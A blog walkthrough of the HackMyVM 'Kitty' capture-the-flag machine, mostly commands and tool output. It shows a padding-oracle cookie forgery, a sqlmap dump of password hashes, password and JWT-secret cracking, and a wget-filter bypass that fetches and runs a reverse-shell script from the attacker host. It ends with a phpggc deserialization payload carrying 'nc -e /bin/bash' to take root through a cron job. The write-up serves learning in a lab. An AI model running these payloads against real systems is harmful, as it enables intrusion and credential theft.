kitty from hackmyvm writeup and walkthrough security

Walkthrough of Kitty from HackMyVM Writeup

Kitty is a hard machine to root by avijneyam from the platform HackMyVM. The machine’s theme is cats as suggested by the name of the VM. To begin with, this machine needs some host enumeration, cracking passwords, cracking JWT exploits, utilizing various other exploits, etc. Also, I would like you guys to give it a try on your own because this isn’t the machine that many have succeeded, (i.e. 8 roots, 12 users, at the time of writing). “Walkthrough of Kitty from HackMyVM Writeup”

Click here to get the VM.

Get the IP address

As usual, we are going to start with the identification of the IP address of the target machine.

IP address
fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.221
ShellScript

The IP address of the target machine is 10.0.0.221.

Nmap scan

Next, we have to perform a Nmap scan.

Nmap Scan
nmap -sC -sV -p- -oN nmap.log 10.0.0.221
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-22 22:49 +0545
Nmap scan report for 10.0.0.221
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 27712458d37cb38a7b3249d1c80b4cba (RSA)
|   256 e23067387bdb9a8621013ebf0ee74f26 (ECDSA)
|_  256 5d78c537a858ddc4b6bdceb5babf53dc (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://kitty.hmv
|_http-server-header: nginx/1.18.0
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=479a0e5ddeabb7dd; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=cG1ze8nXSLm6yUBzmVaJpYmOoww6MTY3NDQwNzEyMTI3OTM1NjM0OQ; Path=/; Expires=Mon, 23 Jan 2023 17:05:21 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 22 Jan 2023 17:05:21 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title> Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=685b13036bba4342; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=yw2wt-Uhrsbv11aDEshkblacLW06MTY3NDQwNzEyNjM3NTMyNjMxOQ; Path=/; Expires=Mon, 23 Jan 2023 17:05:26 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 22 Jan 2023 17:05:26 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=1/22%Time=63CD6CD0%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=479a0e5dd
SF:eabb7dd;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csr
SF:f=cG1ze8nXSLm6yUBzmVaJpYmOoww6MTY3NDQwNzEyMTI3OTM1NjM0OQ;\x20Path=/;\x2
SF:0Expires=Mon,\x2023\x20Jan\x202023\x2017:05:21\x20GMT;\x20HttpOnly;\x20
SF:SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;
SF:\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate
SF::\x20Sun,\x2022\x20Jan\x202023\x2017:05:21\x20GMT\r\n\r\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head>\n\t<meta\x20
SF:charset=\"utf-8\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>\x20Gitea:\x20Git\x20with\x2
SF:0a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"d
SF:ata:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9
SF:mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3
SF:RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJod
SF:HRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb")%r(Help,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,19
SF:B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nSet-Cookie:\x20i_lik
SF:e_gitea=685b13036bba4342;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSe
SF:t-Cookie:\x20_csrf=yw2wt-Uhrsbv11aDEshkblacLW06MTY3NDQwNzEyNjM3NTMyNjMx
SF:OQ;\x20Path=/;\x20Expires=Mon,\x2023\x20Jan\x202023\x2017:05:26\x20GMT;
SF:\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path
SF:=/;\x20Max-Age=0;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20S
SF:AMEORIGIN\r\nDate:\x20Sun,\x2022\x20Jan\x202023\x2017:05:26\x20GMT\r\nC
SF:ontent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ShellScript

Nmap scan shows two web servers running on 80 and 3000 and looking at the cookies of the web server running at 3000, we know it’s “Gitea”.

Vhost bruteforcing

When we visit the main site, we are redirected to kitty.hmv. Also, this site is pretty static, so, we have to find some hosts.

Fuzz subdomains
ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.kitty.hmv" -u 'http://10.0.0.221' -fs 5381

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.0.0.221
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.kitty.hmv
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 5381
________________________________________________

cookie                  [Status: 200, Size: 2785, Words: 286, Lines: 38, Duration: 65ms]
ShellScript

We found a subdomain, cookie.kitty.hmv, that we have to add to our /etc/hosts. Then, we can browse that site that looks as follows.

Cookie homepage

As it said, we have to create an account after which we get a cookie. But I honestly didn’t know what to do after this. Hence, I took a bit of help from one of our fellow hackers whose writeup I have linked here.

Padding Oracle Attack

Here, we have to perform a padding oracle attack to decrypt the ciphertext. Thus, I installed padbuster for this purpose.

Padbuster output of decrypting cookie
padbuster http://cookie.kitty.hmv/home/index.php QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n 8 --cookies 'auth=QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n'

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 302
[+] Location: ../logout.php?err=1
[+] Content Length: 0

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	302	8144	../login.php
2 **	255	302	0	../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (214/256) [Byte 8]
[+] Success: (99/256) [Byte 7]
[+] Success: (40/256) [Byte 6]
[+] Success: (141/256) [Byte 5]
[+] Success: (203/256) [Byte 4]
[+] Success: (180/256) [Byte 3]
[+] Success: (199/256) [Byte 2]
[+] Success: (196/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 366058568d038829
[+] Intermediate Bytes (HEX): 343e4a3077db9f2b
[+] Plain Text: user=nep

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (213/256) [Byte 8]
[+] Success: (119/256) [Byte 7]
[+] Success: (253/256) [Byte 6]
[+] Success: (15/256) [Byte 5]
[+] Success: (202/256) [Byte 4]
[+] Success: (198/256) [Byte 3]
[+] Success: (248/256) [Byte 2]
[+] Success: (163/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): 792f98a0d84f5fa7
[+] Intermediate Bytes (HEX): 550f3c33f5008b2a
[+] Plain Text: codex

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=nepcodex

[+] Decrypted value (HEX): 757365723D6E6570636F646578030303

[+] Decrypted value (Base64): dXNlcj1uZXBjb2RleAMDAw==

-------------------------------------------------------
ShellScript

Here, we were successful in cracking the cookie. So, we can try getting cookies for a possible admin user as follows.

Admin cookie
padbuster http://cookie.kitty.hmv/home/index.php QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n 8 --cookies 'auth=QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n' -plaintext user=admin

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 302
[+] Location: ../logout.php?err=1
[+] Content Length: 0

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	302	8144	../login.php
2 **	255	302	0	../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
ShellScript

When we replace the cookie using firefox developer tools, we see a new menu on the website.

A new navigation item is shown

SQL Injection

On the sources of the page, we see a script /config/last_login.js. Also, the URL is vulnerable to SQL injection. Hence, let’s enumerate using SQLMap.

last_login.js
async function getUsers() {
    let url = 'http://cookie.kitty.hmv/home/logs.php?ajneya=admin';
    try {
        let res = await fetch(url);
        return await res.text();
    } catch (error) {
        console.log(error);
    }
}

async function renderUsers() {
    let users = await getUsers();
    let container = document.querySelector('.content');
    container.innerHTML = users;
}

renderUsers();
JavaScript
SQLMap Dump
sqlmap -u 'http://cookie.kitty.hmv/home/logs.php?ajneya=admin' --cookie='auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA' -D padding -T users,salt --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:42:36 /2023-01-23/

[10:42:36] [INFO] resuming back-end DBMS 'mysql' 
[10:42:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ajneya (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ajneya=admin') AND 8134=8134 AND ('VrHc'='VrHc

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ajneya=admin') AND (SELECT 5761 FROM (SELECT(SLEEP(5)))LhHO) AND ('uztF'='uztF

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: ajneya=admin') UNION ALL SELECT NULL,NULL,CONCAT(0x716b627671,0x597253415a6f44484b656d57744455746b4d456850776b7469774b44747678634f6c6c7545716270,0x7171717071)-- -
---
[10:42:36] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:42:36] [INFO] fetching columns for table 'users' in database 'padding'
[10:42:36] [INFO] fetching entries for table 'users' in database 'padding'
[10:42:36] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:42:40] [INFO] writing hashes to a temporary file '/tmp/sqlmaprvw3zn8x144537/sqlmaphashes-bh7l4po2.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: padding
Table: users
[3 entries]
+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| 44db80f98c693eac47540c51137eeeac | admin    |
| 357f47546ba3ab1cf633d3d0c54e2583 | gitea    |
| d87d304bf68793eed897641bbf971bd3 | nepcodex |
+----------------------------------+----------+

[10:42:43] [INFO] table 'padding.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cookie.kitty.hmv/dump/padding/users.csv'
[10:42:43] [INFO] fetching columns for table 'salt' in database 'padding'
[10:42:43] [INFO] fetching entries for table 'salt' in database 'padding'
Database: padding
Table: salt
[1 entry]
+------+--------------+
| type | value        |
+------+--------------+
| salt | Y<redacted>t |
+------+--------------+
ShellScript

Crack password

Since we have salt and hash, we can try getting the password of the user gitea. Therefore, I am going to use john the ripper for the purpose. Furthermore, we have to store the hash in the format “hash$salt”

Crack the password of the user
john hash --wordlist=/home/kali/rockyou.txt --format='dynamic=md5($p.$s)'
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($p.$s) [256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
git***me         (?)     
1g 0:00:00:03 DONE (2023-01-23 11:13) 0.2857g/s 2247Kp/s 2247Kc/s 2247KC/s gizmo702..giserocks
Use the "--show --format=dynamic=md5($p.$s)" options to display all of the cracked passwords reliably
Session completed.
ShellScript

Once we get the id, we can log into the gitea in port 3000. Here, we have information about another subdomain that we can add on /etc/hosts.

New subdomain

Furthermore, there is an API endpoint that specifically says about login credentials.

Endpoint

Trying out with -1 and -2 gives us the username and private key. However, we have to format the private key.

Format the private key

Exploit the JWT

With the username and password that we found, we can hit the login endpoint in Swagger. Then, we can use the JWT to crack the signing secret.

JSON
{
  "access_token": "redacted.eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjc0NDUzNTQ2LjEyNDkyMzV9.<redacted>-9ELYA"
}
JSON

Let’s crack the JWT signing secret. Also, JWT is formed of 3 parts, header, body and signing secret separated by full stops (.). So, with the header that describes the signing algorithm, we can use John to crack the secret.

Crack secret
john jwt --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thispassword<redacted>secret (?)     
1g 0:00:00:02 DONE (2023-01-23 11:42) 0.3610g/s 1169Kp/s 1169Kc/s 1169KC/s thomasjasoncornett..thinkpink19
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ShellScript

Once we get the secret, we can create our own tokens, using jwt.io.

JWT Token for admin

Lastly, we can authorize the Swagger API using the token (from the top right Authorize button). Now, we have to do this because there is a GET endpoint /secure/{command} that needs authorization. Thus, I tried executing a command but it gave an error response message. Nevertheless, the command “wget” gave a different response to check ~source_code.

~source_code
"if re.search(\"wget\", command):\n\tregex = re.compile('[@#$%&):(`}{;\"'?|></]')\n\tif regex.search(command):\n\t\treturn \"You Can't Use Any Special Characters ----  Blocked Special Characters Are ==> [@#$%&):'(`}\"{?;<>|/]\nelse:\n\tos.system(command)"
JSON

From the response, it looks like the command must have the keyword wget. Also, we cannot use many characters. So, to bypass this, I created a shell as index.html that would spawn a reverse shell.

Download the file as shell.sh
curl -o shell.sh 10.0.0.4 -wget
ShellScript
Execute the file with bash
bash shell.sh -wget
ShellScript

Here, we have to download the script with the first command, and then execute the script with the second one. Finally, we get the reverse shell.

Reverse shell
nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.221.
Ncat: Connection from 10.0.0.221:39892.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@kitty:/usr/local/src/FastAPI$ ^Z
[1]  + 146187 suspended  nc -nlvp 9001
stty raw -echo;fg
[1]  + 146187 continued  nc -nlvp 9001

www-data@kitty:/usr/local/src/FastAPI$ export TERM=xterm
www-data@kitty:/usr/local/src/FastAPI$ stty rows 32 cols 169
www-data@kitty:/usr/local/src/FastAPI$
ShellScript

User shell

For the user shell, we can use the private key to log in as dyutidhara.

SSH Login
ssh dyutidhara@10.0.0.221 -i id_rsa
Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 29 06:39:26 2022 from 192.168.1.5
dyutidhara@kitty:~$ id
uid=1000(dyutidhara) gid=1000(dyutidhara) groups=1000(dyutidhara)
ShellScript

Cronjob exploit with deserialization

Firstly, we have a cronjob run by the user root.

Cronjob
dyutidhara@kitty:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
  *  *  *  *  * root	  [ -f /usr/local/etc/newfile.txt ] && /usr/bin/sed -e 's/\[{"Expires":1,"Discard":false,"Value":"//' -e 's/\\n"}]//' /usr/local/etc/newfile.txt > /usr/local/etc/payload.txt | for i in $(/usr/bin/cat /usr/local/etc/payload.txt); do /usr/bin/echo $i | /usr/bin/base64 -d | /usr/bin/bash; done
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
ShellScript

Furthermore, the cronjob creates a file, decodes it from base64 and executes it using bash. However, let’s check for Nginx sites. Fortunately, we have a site called opencats in a new subdomain.

Configuration of nginx
dyutidhara@kitty:~$ cat /etc/nginx/sites-enabled/opencats 
server {
	listen 80;
	server_name thisisnotcatitisopencats.kitty.hmv;
	root /opt/opencats;
	index index.html index.htm index.php;
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/power.sock;
	}

}
Nginx

From the login page of the website, we know that this version might be vulnerable to Insecure deserialization. Furthermore, we know from the following link that we can exploit it using phpgc.

https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html

Exploit and get a reverse shell

Now, we can combine this information together with the cronjob’s information to execute our reverse shell. Therefore, let’s create an exploit in our local machine and serialize it using phpgc.

Exploit
echo 'nc -e /bin/bash 10.0.0.4 9001' | base64 > /tmp/newfile.txt
phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/newfile.txt /tmp/newfile.txt
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A41%3A%22bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
ShellScript

Although we have created our exploit payload, we need authentication. Since we are in the system, we can simply update the password of the user “admin” in the database.

Update password
dyutidhara@kitty:~$ mysql -uroot -proot
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 12243
Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use opencats;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [opencats]> UPDATE user SET password='21232f297a57a5a743894a0e4a801fc3' WHERE user_name='admin';
Query OK, 1 row affected (0.001 sec)
Rows matched: 1  Changed: 1  Warnings: 0
SQL

Thus, we can log in as admin:admin after we did this update. Finally, we can use the exploit as follows.

Get the shell
http://thisisnotcatitisopencats.kitty.hmv/index.php?m=activity&parametersactivity:ActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A41%3A%22bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
ShellScript

Lastly, we get our root shell.

Root shell
nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.221.
Ncat: Connection from 10.0.0.221:40532.
id
uid=0(root) gid=0(root) groups=0(root)
echo nepcodex; md5sum /etc/shadow
nepcodex
47ac01c6910d185eccb7ae522f7e1556  /etc/shadow
ShellScript

Upgrade to an intelligent reverse shell

Check out my post about Finding My Friend


5 1 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments